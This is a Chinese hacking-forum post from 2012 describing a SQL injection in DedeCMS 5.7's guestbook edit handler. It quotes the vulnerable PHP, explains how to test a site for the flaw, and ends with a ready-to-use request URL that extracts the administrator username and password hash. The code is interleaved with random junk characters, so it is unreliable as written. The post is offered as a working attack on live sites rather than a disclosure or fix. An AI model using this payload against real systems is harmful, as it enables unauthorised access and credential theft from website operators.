找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4089|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7% r9 ^) Y. w1 L2 J  x3 q# C
  A1 S3 V: B! j' q3 F/ m1 ^8 W4 P
漏洞文件edit.inc.php具体代码:
- P% @2 J! N& K3 U$ U1 R& M( y- p6 i3 `2 F: o
< ?php  % u* b/ i9 k. _5 C" A, k) m8 `( d

; F- j9 g% g' ]/ Q$ w, Z. Y, \if(!defined('DEDEINC')) exit('Request Error!');  ) l  C; x9 K+ c( B" H# s+ H
5 x% t6 i' J4 @: \, o% v+ B. l% T# R5 q' I
   2 G  k. }/ [& u

8 ~. B/ j1 U9 ?+ Xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
( h; d" x: x& r. M6 s% M* d/ v
else $GUEST_BOOK_POS = "guestbook.php";  9 d6 ^& Y5 a3 A0 }, B

- q0 A& h0 U- k7 X) u5 d+ D! ~9 ?   
! ~" U0 y3 |7 K9 X  H% H1 ^' B  W  t( f
$id = intval($id);  7 W# j- f' p% n/ [8 w# e

- R! w) U( c0 gif(empty($job)) $job='view';  
8 o8 X4 B; a0 l* X" v7 y7 K9 d2 k- Q
   
! [6 V" t) a) \" ?7 K
$ b! j  q! q5 C) e0 _& k* S) Kif($job=='del' && $g_isadmin)  
/ ?# Q& o* ]4 k9 e+ D, Z$ B9 Y& l, ~. @4 y9 V: E8 z: _
{  & A$ O1 a9 L/ m0 [' _# g9 g9 z

( z  k( }0 T8 c  ^  ]8 w$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ; U3 X- o; S+ I0 j5 k

8 ~: ~& e! ]4 n( n, YShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  - f  C$ T2 f( Y: l/ E6 r" s% `

) d% P8 C5 x; |! _exit();  7 W6 l" I) C) s% e  w

* V0 k8 B4 M% ]/ U}  
( S: o( W* }7 _  B/ p; ]7 i  h$ ]: ?* v5 i
else if($job=='check' && $g_isadmin)  
4 N) ]7 T# x3 k6 E2 v
) o8 z; _$ D: J{  % u! X/ H2 P$ g0 A. t
0 m5 q3 c" Q$ U# Y7 ^7 P+ D& ?* S. R' k
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 g$ b0 s4 y4 z6 U9 \  f, ^2 `
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  0 k. F0 u% |) c/ K! K# u) J

6 d0 t* [" M. `% J: e: [; @1 dexit();  
' s8 ?' O8 |8 \% g' A
* }% @+ y( f# ~0 c}  6 q1 i9 k5 l! A+ P! W$ \% e! K

0 u/ m9 g* u8 d1 o' r; Aelse if($job=='editok')    }" }0 v0 o$ l; \

5 i6 Y( t1 S# p" q& A$ P+ i{  4 I/ n( x% U0 K+ |8 I
% C& x& J  v9 {  f- b. Q
$remsg = trim($remsg);  
- f; b  P8 r, U, G, z% g7 b1 w) }+ @
5 c4 A2 c2 c2 w  t$ D3 R7 L  fif($remsg!='')  
7 s! @" e  {& ~0 E
" f6 L- ]) O' E6 h7 \3 W{  
. ?- Q( _  ]0 C/ q7 c6 f
. Q  G5 U- J) n' l//管理员回复不过滤HTML By:Errorera blog:errs.cc  " I: G( q, a: R% T) U2 x
& ~! L: r9 }4 g
if($g_isadmin)  9 W" h6 @0 x3 H1 Y2 I6 y( [

0 m0 M! t, Y! a0 U& B{  ; ]) ?0 ^& w8 u( f' a2 d$ I2 ^

5 Q6 A4 O0 F; D& E+ l# `$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  4 w4 ?8 j! W' {4 |
  N: V  B& Z" L: w8 J
//$remsg <br /><font color=red>管理员回复:</font> }  
7 ~' ]9 f& @- f& l' K) x7 ?& ~& ~" ?- D1 T) ]2 w
else
  k  _9 j. j) D4 N" Q9 _2 y; J
, W' Z" Z, h6 k7 }4 s0 F{  8 H" W2 u& ^: ~" u, `7 M/ Y

1 g4 ^" S" g6 l+ D0 U5 k( M5 v$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
5 l4 O9 x/ h+ X1 C" t% k- q  u1 ]- k9 d/ P) T
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
" R* M/ k: g" L% M+ I# l! L  h/ e' W( W) X
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  3 ]3 }) _& i- k) \1 f# r4 _
  R' I* S, N9 X$ j* g0 p5 B
$msg = $oldmsg.$remsg;  
0 a' i' f$ }4 n% ^$ I& \) W8 |0 t
3 c9 V  Q( J' O3 @}  
6 a; P6 c) w& P/ M" y. v6 Q* c" E- g) ?7 _8 k+ i4 b
}  
3 Y0 e; R' i1 V7 ~. m9 s4 J. F9 y8 j' n0 q3 N# o0 ?
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  : m: b0 i( r! w! H
. i9 E" J( A5 q. j
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
* {" I+ T) a$ m' k3 V. s5 e) ^: t5 C1 m  d; c8 Y2 ?
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  / E' _8 G, b) ]. z2 f

, r; _5 T- i) S, q0 k$ uexit();  : M7 r8 n# J) G" p: m

3 I- g2 f# {0 r7 a" |}  . u) m! ]; C2 B
/ w- o) u5 T8 S0 `4 I% C
//home:www.errs.cc  7 m/ X0 |" t. P% s- ?% y1 W9 I
8 o$ Z" R) ^; o; Y
if($g_isadmin)  # z$ G( G  d/ ]
; E; y8 t/ n  o2 ]
{  * v2 @/ B+ Z+ n0 {0 K' J
8 ]& ~" b% c9 Q0 H# z  i
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
( _9 j4 c! S1 p" x* {, C# ?7 T
) B% A/ X. G" M# m" {; W. }require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
. [- n9 ~' n, I4 z7 f9 Y2 G/ L( B. m; j7 r! f
}  
8 d/ D5 u7 t1 }' N* R  V* a* l: H: l+ r1 F+ `
else 5 x0 _  j, ^0 B- Y- Z2 D

+ M7 |6 G5 G" E{  ! w5 `4 G# d+ k
2 R2 e1 S/ x1 t- \
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
$ x1 Z" m5 B. R+ A$ h
" r/ w: B; N, ~, G6 g& w) c  Xrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 E9 n1 }( @& p7 n& A+ ?% t' ?- `
% S, a; R! ^7 C- p( b5 O3 S} 漏洞成功需要条件:3 H) N0 G" U7 [& a
1. php magic_quotes_gpc=off5 u0 R4 V+ p, i9 G" I! n
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
& A3 W$ _7 M2 e5 C( i" W% x+ ]/ y" ~
怎么判断是否存在漏洞:' n# x1 n' X- v6 ?
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
- ?' K5 a  e7 S) q2 {+ J7 K然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; O6 k: J( l( Q/ w3 B6 o8 w7 s
访问:; c6 q' L- J* y3 t
. b( E9 w% a; B( C2 {* y$ m" Y! [
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 c0 i/ N. S5 o% ?/ B- D
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
- t) G8 Z4 A4 Z/ S9 F! k; X
) W+ a$ `6 Q4 a! I* t7 n) b' d
/ w7 T( W8 w. v' K$ D明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: b& d; E4 a0 L
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 M! Z$ g# b) t
那么再次访问
; k. J) s) i! R/ c9 a) q4 m6 E  q  I1 t
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
. b" W4 E; E' L& w0 {# i8 p
6 b( x% q! s: ~/ z5 C6 P大概利用就是这样,大家有兴趣的多研究下!!0 [! \; T' D, w, F7 w: P* |
. u* ]4 ~5 r  r6 i/ a
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!& ?9 a2 J6 h# M7 ?4 e0 x

/ u) M& y9 H: h8 Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表